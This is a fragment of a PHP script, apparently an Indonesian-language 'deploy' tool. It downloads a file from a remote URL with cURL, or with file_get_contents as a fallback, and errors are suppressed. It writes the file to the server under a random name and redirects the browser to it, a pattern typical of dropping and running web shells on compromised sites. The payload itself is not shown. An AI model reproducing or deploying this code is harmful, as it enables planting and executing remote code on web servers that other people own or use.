true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'Mozilla/5.0', ]); $data = curl_exec($ch); curl_close($ch); } // Fallback if ($data === false && ini_get('allow_url_fopen')) { $data = @file_get_contents($sourceUrl); } if ($data && @file_put_contents($savePath, $data)) { header('Location: ' . $randomName); exit; } die('Deploy gagal.'); } // Halaman utama ?>